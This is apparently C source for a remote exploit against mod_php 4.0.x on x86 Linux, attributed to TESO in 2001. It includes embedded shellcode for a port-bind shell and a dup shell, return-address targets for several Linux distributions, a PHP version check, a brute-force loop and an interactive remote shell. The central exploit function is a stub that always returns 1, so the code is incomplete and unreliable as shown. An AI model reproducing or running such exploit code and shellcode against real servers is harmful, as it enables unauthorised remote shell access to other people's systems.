/* 73501867 - x86/linux mod_php v4.0.2rc1-v4.0.5 remote exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * (C) COPYRIGHT TESO Security, 2001 * All Rights Reserved * * code by lorian * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* globals */ int force = 0; int checkonly = 0; int nocheck = 0; int targetsys = 0; int portshell = 0; unsigned long retloc = 0xbffff7d0; unsigned long retaddr = 0x08101010; int net_readtimeout = 180; int net_conntimeout = 60; int net_identtimeout = 15; unsigned long retaddr_min = 0; unsigned long retaddr_max = 0; int numtargets; /* function prototypes */ void usage(char *v0); unsigned long int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); void net_write (int fd, const char *str, ...); int net_rtimeout (int fd, int sec); int net_rlinet (int fd, char *buf, int bufsize, int sec); int xp_check (int fd, char *dest); int xp (int fd, char *dest, char *phpfile); void shell (int sock); /* shell codes.. */ char x86_linux_portshell[] = "\x8b\xe5\x31\xc0\x99\x50\xfe\xc0\x89\xc3\x50\xfe\xc0\x50\x89\xe1" "\xb0\x66\xcd\x80\x52\x66\x68\x50\x73\x66\x52\x89\xe2\x6a\x10\x52" "\x50\x89\xe1\xfe\xc3\x89\xc2\xb0\x66\xcd\x80\x80\xc3\x02\xb0\x66" "\xcd\x80\x50\x52\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9" "\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" "\xb0\x0b\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xcd\x80"; char x86_linux_dupshell[] = "\x31\xc0\x50\xb0\x1b\xcd\x80\x8b\xe5\x31\xdb\xf7\xe3\xb0\x1b\xcd" "\x80\x60\x89\xe2\x6a\x20\x54\x52\x31\xc9\x51\x59\x41\x51\x89\xe1" "\x6a\x07\x5b\x6a\x66\x58\xcd\x80\x09\xc0\x75\xef\x80\x3a\x02\x75" "\xea\x5b\x31\xc9\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1" "\xb0\x3f\xcd\x80\xb0\x0b\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f" "\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80\xcc\x00\x00\xd0\x04\x08"; char *shellcode = x86_linux_dupshell; /* targets... */ struct __targets_stru { unsigned long retloc; unsigned long retaddr_min; unsigned long retaddr_max; char *desc; } targets[] = { { 0x40284668, 0x00000000, 0x08101010, "Debian 2.2r3 / Apache 1.3.20 / PHP 4.0.3 (GOT _estrndup)" }, { 0x402ba1a8, 0x00000000, 0x08101010, "Debian 2.2r3 / Apache 1.3.9 / PHP 4.0.3p1 (GOT _estrndup)" }, { 0xbffff7f0, 0x00000000, 0x08101010, "Debian 2.2r3 / Apache 1.3.9 / PHP 4.0.3p1 (stack)" }, { 0x08095204, 0x00000000, 0x08101010, "Debian 2.2r3 / Apache 1.3.9 / PHP 4.0.3p1 (apache GOT kill)" }, { 0x08095204, 0x00000000, 0x08110102, "Debian 2.2r3 / Apache 1.3.9 / PHP 4.0.3p1 (stack)" }, { 0x55555555, 0x00000000, 0x66666666, "CRASH ME" }, { 0xbffff7b0, 0x00000000, 0x08110102, "Debian 2.2r3 / Apache 1.3.20 / PHP 4.0.5 (stack)" }, { 0x0809afb0, 0x08088010, 0x08180110, "RedHat 7.1 / apache-1.3.19-5 from RPM / PHP/4.X" }, { 0x0809eac0, 0x08088010, 0x08180110, "Mandrake 8.0 / apache-1.3.19-3mdk from RPM / PHP/4.X" }, { 0, 0, 0, NULL } }; /* main program */ int main(int c, char *v[]) { char ch; char *progname; char *dest, *phpfile; int i, j, fd, dots = 0; fprintf(stderr, "73501867 - x86/linux mod_php v4.0.2rc1-v4.0.5 remote exploit\n" "by lorian.\n" "\n" ); /* count the targets.. */ numtargets = 0; while (targets[numtargets].desc) numtargets++; /* do we have enough to proceed? */ progname = v[0]; if (c < 2) usage (progname); /* options? */ while ((ch = getopt(c, v, "cfg:t:a:l:pn")) != -1) { switch (ch) { case 't': targetsys = atoi(optarg); if (targetsys < 1 || targetsys > numtargets) usage(progname); targetsys--; retaddr_min = targets[targetsys].retaddr_min; retaddr_max = targets[targetsys].retaddr_max; retloc = targets[targetsys].retloc; break; case 'c': checkonly = 1; break; case 'f': force = 1; break; case 'a': retaddr = atol(optarg); break; case 'l': retloc = atol(optarg); break; case 'p': portshell = 1; break; case 'n': nocheck = 1; break; case 'g': /* unused */ default: usage (progname); } } c -= optind; v += optind; dest = v[0]; if (*dest == '-') usage (progname); phpfile = v[1]; if (*phpfile == '-') usage (progname); /* try to connect to the web server */ fd = net_connect (NULL, dest, 80, 20); if (fd <= 0) { fprintf(stderr, "+ failed to connect\n"); return 1; } if (nocheck == 0 && xp_check (fd, dest) == 0 && force == 0) { printf ("+ aborting\n"); #ifndef DEBUG return 1; #endif } close (fd); /* only check? */ if (checkonly) return 0; /* some pointless text.. */ printf("\n" "+ checking if POST fileuploads are allowed ...\n" "\n"); printf("+ exploiting the memchr bug now...\n"); /* loop attempting to exploit... */ retaddr = retaddr_min; while (retaddr < retaddr_max) { /* connect */ fd = net_connect (NULL, dest, 80, 20); if (fd <= 0) { fprintf(stderr, "+ failed: unable to connect for exploiting\n"); exit (1); } /* seed random number generation */ srand(time(NULL)); /* attempt exploitation.. */ if ((i = xp(fd, dest, phpfile)) == 1) fprintf(stderr, "."); /* died */ else if (i == 0) fprintf(stderr, "?"); /* did not die */ else { fprintf(stderr, "!"); /* exploit successfull? */ printf("+ done ...\n"); /* port or dup shell? */ if (!portshell) { printf("+ you should be connected to a dup-shell now\n"); printf("+ if not simply try again\n"); printf("command> "); fflush(stdout); shell(fd); break; } else { printf("+ there should be a portshell on port 20595 now\n"); printf("+ if not simply try again\n"); break; } } close(fd); retaddr += 0x10000; } return 1; } /* check for php.. */ int xp_check (int fd, char *dest) { int n; unsigned int expect_len = 7; unsigned char expected[] = "Server:"; unsigned int additional_len = 13; unsigned char additional[] = "X-Powered-By:"; unsigned char buf[1024]; char *ptr, *end; printf("+ Checking for vulnerable PHP version...\n"); net_write (fd, "HEAD / HTTP/1.1\r\nHost: %s\r\n\r\n", dest); while ((n = net_rlinet (fd, buf, sizeof(buf)-1, 0))) { if (strncasecmp(buf, expected, expect_len) == 0 || strncasecmp(buf, additional, additional_len) == 0) { if ((ptr = strstr(buf, "PHP/"))) { end = ptr; while (*end && !isspace(*end)) end++; *end = '\0'; /* check the version # */ if (strlen(ptr) < 9) break; end = ptr + 8; /* this is an insufficient check, but oh well.. */ if (*end == '3' || *end == '4' || *end == '5') { printf("+ passed: server says %s\n", ptr); return (1); } else { printf("+ failed: server says %s which is not vulnerable to this bug\n", ptr); return (0); } } } } printf("+ failed: server does not propagate any PHP version\n"); return (0); } /* exploit php.. */ int xp (int fd, char *dest, char *phpfile) { return 1; } /* show the usage.. */ void usage(char *v0) { int i; fprintf(stderr, "usage: %s [options] \n", v0); fprintf(stderr, "\n" "Options:\n" " -c check exploitability only, do not exploit\n" " -f force mode, override check results\n" " -n no check mode\n" " -l retloc set retlocation\n" " -a retaddr set return address\n" " -t target choose target\n" ); for (i = 0; targets[i].desc; i++) fprintf(stderr, " (%d) %s\n", i+1, targets[i].desc); fprintf(stderr, "\n"); exit(1); } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; struct sockaddr_in csa; if (cs == NULL) cs = &csa; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } int net_rlinet (int fd, char *buf, int bufsize, int sec) { int n; unsigned long int rb = 0; struct timeval tv_start, tv_cur; memset(buf, '\0', bufsize); (void) gettimeofday(&tv_start, NULL); do { (void) gettimeofday(&tv_cur, NULL); if (sec > 0) { if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { return (-1); } } n = net_rtimeout(fd, net_readtimeout); if (n <= 0) { return (-1); } n = read(fd, buf, 1); if (n <= 0) { return (n); } rb++; if (*buf == '\n') return (rb); buf++; if (rb >= bufsize) return (-2); /* buffer full */ } while (1); } int net_rtimeout (int fd, int sec) { fd_set rset; struct timeval tv; int n, error, flags; error = 0; flags = fcntl(fd, F_GETFL, 0); n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) return (-1); FD_ZERO(&rset); FD_SET(fd, &rset); tv.tv_sec = sec; tv.tv_usec = 0; /* now we wait until more data is received then the tcp low level * watermark, which should be setted to 1 in this case (1 is default) */ n = select(fd + 1, &rset, NULL, NULL, &tv); if (n == 0) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } if (n == -1) { return (-1); } /* socket readable ? */ if (FD_ISSET(fd, &rset)) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (1); } else { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } } void net_write (int fd, const char *str, ...) { char tmp[1025]; va_list vl; int i; va_start(vl, str); memset(tmp, 0, sizeof(tmp)); i = vsnprintf(tmp, sizeof(tmp), str, vl); va_end(vl); #ifdef DEBUG printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n"); #endif send(fd, tmp, i, 0); return; } void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { perror ("read user"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l <= 0) { perror ("read remote"); exit (EXIT_FAILURE); } write (1, buf, l); } } }